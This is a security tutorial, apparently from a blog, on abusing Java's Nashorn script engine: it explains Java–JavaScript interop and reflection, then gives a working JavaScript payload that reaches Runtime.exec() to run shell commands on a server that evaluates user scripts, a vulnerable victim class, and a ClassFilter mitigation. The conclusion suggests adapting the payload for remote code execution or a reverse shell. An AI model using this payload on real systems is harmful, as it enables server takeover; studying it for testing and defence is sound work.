Nashorn is the high-performance JavaScript engine developed in Java. It allows the developer to execute JavaScript in Java and vice versa. After Java SE 7, Nashorn has become the official JavaScript engine and all JDKs are shipped with it. Nashorn supports and implements the ECMAScript 5.1 specification. The Nashorn script engine implements javax.script API. It converts JavaScript to Java bytecode at the runtime.
Why Nashorn?
When we say Nashorn helps to execute JavaScript code in Java and vice versa, the first question which comes to our mind is why in the first place something like this is required. Isn’t it a security concern to execute JavaScript code in Java? Well, there are a few reasons why this might be required:
- Customization: Nashorn helps the developer to add scripting support to the application. The end-user can quickly modify the product without recompiling the whole Java application.
- Code reuse: Developers can leverage Nashorn to JavaScript code on the server without rewriting the business logic. E.g. the code for input validation on the client-side can be reused on the server-side because the business logic remains the same.
To interact with Nashorn JavaScript Engine, JDK comes with 2 command-line tools
- Java Java Script (jjs)
- jrunscript
Java Java Script (jjs) is the recommended client for interacting with Nashorn. We can write a JavaScript code, embed the Java snippets in it and execute the javascript file using jjs.
Similarly, we can write a Java code and embed the JavaScript snippets. In this case, we use javax.script API which will allow us to execute the JavaScript from within Java code.
Now, let’s look in the code and see how we can execute Java code from JavaScript and vice versa.
Executing Java Code within JavaScript
First, we will create a Java file Testing.java within a package roguesecurity and compile the code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// File Name : Testing.java // Compile : javac Testing.java package roguesecurity; public class Testing{ public static String printName(String name){ return "Your name is " + name; } public int add(int num1, int num2){ return return num1 + num2; } } |
Now, we will create a file with name JavaFromJs.js and try to call the above Java code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// File Name : JavaFromJs.js // Run : jjs JavaFromJs.js // Get the reference of Java Class var Testing = Java.type('roguesecurity.Testing'); // Call the static Java method var name = Testing.printName('roguesecurity'); print(name); // Create a class instance to call non-static Java method var testingObj = new Testing(); var result = testingObj.add(3,4); print(result); |
To run the above JavaScript code, we will use the command-line tool jjs and pass the filename as the argument.
Executing JavaScript Code within Java
First, we will create a simple JavaScript file testing.js which contains a single function.
1 2 3 4 5 6 |
// File Name : testing.js function printName(name) { return "Your name is " + name; } |
Now, let’s create a Java file with name JsFromJava.java. We will be using javax.script API for calling above JavaScript function from our Java code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
// File Name: JsFromJava.java // Compile: javac JsFromJava.java // Execute: java JsFromJava import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; import java.io.FileReader; import javax.script.Invocable; class JsFromJava{ public static void main(String args[]) throws Exception { // Name of the javascript file to execute String jsFileName = "testing.js"; // Get the reference of Nashorn Script Engine ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("nashorn"); // Read the JavaScript file for execution FileReader reader = new FileReader(jsFileName); // Execute the script engine.eval(reader); // Invoke the javascript method Invocable invocable = (Invocable) engine; Object result = invocable.invokeFunction("printName", "roguesecurity"); System.out.println(result); } } |
Now we know how nashorn works, it’s time to abuse this. Suppose in the web application, there is a customization feature where the application accepts the javascript code/file from the end-user and the server-side will process this javascript to perform certain operations. If you ever see any such functionality, it should raise the red flag. By providing the javascript code as an input, we can perform remote code execution on the server. This can be achieved by taking the help of the Java reflection API. If you are not aware of reflection API, in the next section we will quickly discuss this. If you are already aware, jump to Writing the payload section.
Reflection 101
TLDR; Given an instance of a class, it is possible to call ANY* java method with the help of the reflection API.
Quoting the line from Oracle’s official documentation
Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.
https://docs.oracle.com/javase/8/docs/technotes/guides/reflection/index.html
Reflection API comes under java.lang.reflect package. Let’s create a simple class “Testing.java” in the package roguesecurity and look into various operations performed using reflection API.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// File Name: Testing.java package roguesecurity; class Testing{ private String name; public Testing(){ this.name = "roguesecurity"; } public void methodA(int n){ System.out.println("This is methodB with one parameter: " + n); } } |
Now, let’s create a file ReflectionDemo.java and look into the various reflection methods and their output
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 |
// File Name: ReflectionDemo.java // Compile : javac ReflectionDemo.java // Execute : java ReflectionDemo import roguesecurity.Testing; import java.lang.reflect.*; class ReflectionDemo{ public static void main(String args[]) throws Exception { // Create an instance of 'Testing' class Testing testingObj = new Testing(); // Get the name of the class to which the object belongs to Class cls = testingObj.getClass(); System.out.println("Class name : "+ cls.getName()); /*Output Class name : Testing */ // Getting the list of methods available for the particular object Method[] methods = cls.getMethods(); System.out.println("List of methods for the class " + cls.getName() + " are: "); int count = 0; for (Method method:methods){ System.out.println("[" + count++ + "] " + method.getName()); } /*Output List of methods for the class Testing are: [0] methodA [1] wait [2] wait [3] wait [4] equals [5] toString [6] hashCode [7] getClass [8] notify [9] notifyAll */ // Calling a particular method inside the class. Here "methodA" with 1 parameter Method methodA = cls.getDeclaredMethod("methodA", int.class); methodA.invoke(testingObj, 1337); /*Output This is methodA with parameter 1337 */ // Getting the list of all the availabe methods in a "particular" class. Here in class "java.lang.Runtime" Method[] runTimeMethods = testingObj.getClass().forName("java.lang.Runtime").getDeclaredMethods(); System.out.println("List of methods for the class ' java.lang.Runtime ' are: "); count = 0; for (Method method:runTimeMethods){ System.out.println("[" + count++ + "] " + method); } /* Output: List of methods for the class ' java.lang.Runtime ' are: [0] public void java.lang.Runtime.exit(int) [1] public void java.lang.Runtime.runFinalization() [2] public static java.lang.Runtime$Version java.lang.Runtime.version() [3] public void java.lang.Runtime.loadLibrary(java.lang.String) [4] synchronized void java.lang.Runtime.loadLibrary0(java.lang.Class,java.lang.String) [5] public native void java.lang.Runtime.gc() [6] public void java.lang.Runtime.load(java.lang.String) [7] public static java.lang.Runtime java.lang.Runtime.getRuntime() [8] synchronized void java.lang.Runtime.load0(java.lang.Class,java.lang.String) [9] public native long java.lang.Runtime.freeMemory() [10] public native int java.lang.Runtime.availableProcessors() [11] public void java.lang.Runtime.addShutdownHook(java.lang.Thread) [12] public boolean java.lang.Runtime.removeShutdownHook(java.lang.Thread) [13] public void java.lang.Runtime.halt(int) [14] public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException [15] public java.lang.Process java.lang.Runtime.exec(java.lang.String[],java.lang.String[]) throws java.io.IOException [16] public java.lang.Process java.lang.Runtime.exec(java.lang.String[]) throws java.io.IOException [17] public java.lang.Process java.lang.Runtime.exec(java.lang.String,java.lang.String[],java.io.File) throws java.io.IOException [18] public java.lang.Process java.lang.Runtime.exec(java.lang.String[],java.lang.String[],java.io.File) throws java.io.IOException [19] public java.lang.Process java.lang.Runtime.exec(java.lang.String,java.lang.String[]) throws java.io.IOException [20] public native long java.lang.Runtime.totalMemory() [21] public native long java.lang.Runtime.maxMemory() [22] public void java.lang.Runtime.traceInstructions(boolean) [23] public void java.lang.Runtime.traceMethodCalls(boolean) */ // Calling the Runtime.exec() method for code execution. This will create a file with name "rs" int /tmp directory Method getRuntimeObj = testingObj.getClass().forName("java.lang.Runtime").getDeclaredMethods()[7]; Method runtimeExecObj = testingObj.getClass().forName("java.lang.Runtime").getDeclaredMethods()[14]; runtimeExecObj.invoke( getRuntimeObj.invoke(null), "touch /tmp/rs"); } } |
The key observation is we can execute the code using the instance of any class with the help of reflection API. Here we created a simple class “Testing” and with the help of its object, we were able to call Runtime.exec() to perform code execution. Note that in the above code, we have hardcoded the indices (7 and 14). In the next section, while writing our payload and we will automate the process of finding the index.
Writing the payload
Now we will sum up all the learnings till now and write the full working exploit to perform remote code execution. Below is the javascript payload which when supplied to Nashorn Script engine, will execute the command on the remote system.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
// File Name: paload.js // This function will return the index of the give method name // Input: This function takes 2 input parameters, Method Array and Method name // Output: This function returns index of the given requested method name function getIndexOfMethod(methodArray, methodName){ var count = 0; for each (var method in methodArray){ if(method.toString() == methodName){ return count; } count++; } return null; } // Modify the command var command = "touch /tmp/roguesecurity"; // Create an instance of class 'Class' var obj = ''['class']; // Get the list of all the methods var methods = obj.getClass().getMethods(); // Find the index of 'forName()' method var forNameString = "public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException"; var forNameMethodIndex = getIndexOfMethod(methods, forNameString); // Find the index of 'getRuntime()' method var runTimeMethods = methods[forNameMethodIndex].invoke(null, 'java.lang.Runtime').getMethods(); var getRuntimeString = "public static java.lang.Runtime java.lang.Runtime.getRuntime()"; var getRunTimeMethodIndex = getIndexOfMethod(runTimeMethods, getRuntimeString); // Execute the command runTimeMethods[getRunTimeMethodIndex].invoke(null).exec(command); |
If this payload is supplied to the below Java class, it will lead to remote code execution.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
// File Name: VictimClass.java // Compile: javac VictimClass.java // Execute: java VictimClass import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; import java.io.FileReader; import javax.script.Invocable; class VictimClass{ public static void main(String args[]) throws Exception { // Name of the javascript file to execute String jsFileName = "payload.js"; // Get the reference of Nashorn Script Engine ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("nashorn"); // Read the JavaScript file for execution FileReader reader = new FileReader(jsFileName); // Execute the script engine.eval(reader); } } |
Mitigations
We can mitigate this vulnerability by implementing ClassFilter interface. This interface contains a method exposeToScripts. By overriding this method, we can prevent dangerous methods from being called via reflection API. Below is the code snippet for implementing the ClassFilter interface
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
// File name: SecureFilterClass.java // File name: SecureFilterClass.java import javax.script.ScriptEngine; import javax.script.ScriptException; import java.io.FileReader; import jdk.nashorn.api.scripting.ClassFilter; import jdk.nashorn.api.scripting.NashornScriptEngineFactory; public class SecureFilterClass{ //Implement the ClassFilter interface class SecureClassFilter implements ClassFilter { @Override public boolean exposeToScripts(String s){ return false; } } public void test() throws Exception { // Name of the javascript file to execute String jsFileName = "user.js"; FileReader reader = new FileReader(jsFileName); NashornScriptEngineFactory factory = new NashornScriptEngineFactory(); ScriptEngine engine = factory.getScriptEngine(new SecureFilterClass.SecureClassFilter()); try{ engine.eval(reader); } catch(Exception ex){ System.out.println(ex.toString()); } } public static void main(String args[]) throws Exception{ SecureFilterClass obj = new SecureFilterClass(); obj.test(); } } |
Executing the above code will return “javax.script.ScriptException: TypeError: Java reflection not supported when class filter is present” and we are no longer to use reflection for code execution.
Conclusion
The best way to find this vulnerability is through manual code review. Try grepping the source code for the keywords like nashorn, javax.script. In case the application is using Nashorn Script Engine, review the source code to confirm if the ClassFilter is implemented. If you are doing black box pentest, look for the functionality which takes javascript as an input. Modify the exploit payload mentioned earlier to perform remote code execution or get the reverse shell back from the victim.
I hope this article was useful. If you have any questions or suggestions please leave your comments down below.
Happy Learning 🙂
References
https://coderanch.com/t/634396/java/case-Javascript-engine-Java
https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html
https://www.oracle.com/technetwork/articles/java/javareflection-1536171.html
https://docs.oracle.com/javase/8/docs/technotes/guides/reflection/index.html
https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
https://www.n-k.de/riding-the-nashorn/
https://github.com/shekhargulati/java8-the-missing-tutorial/blob/master/10-nashorn.md
Superb thing bro, keep it up 👍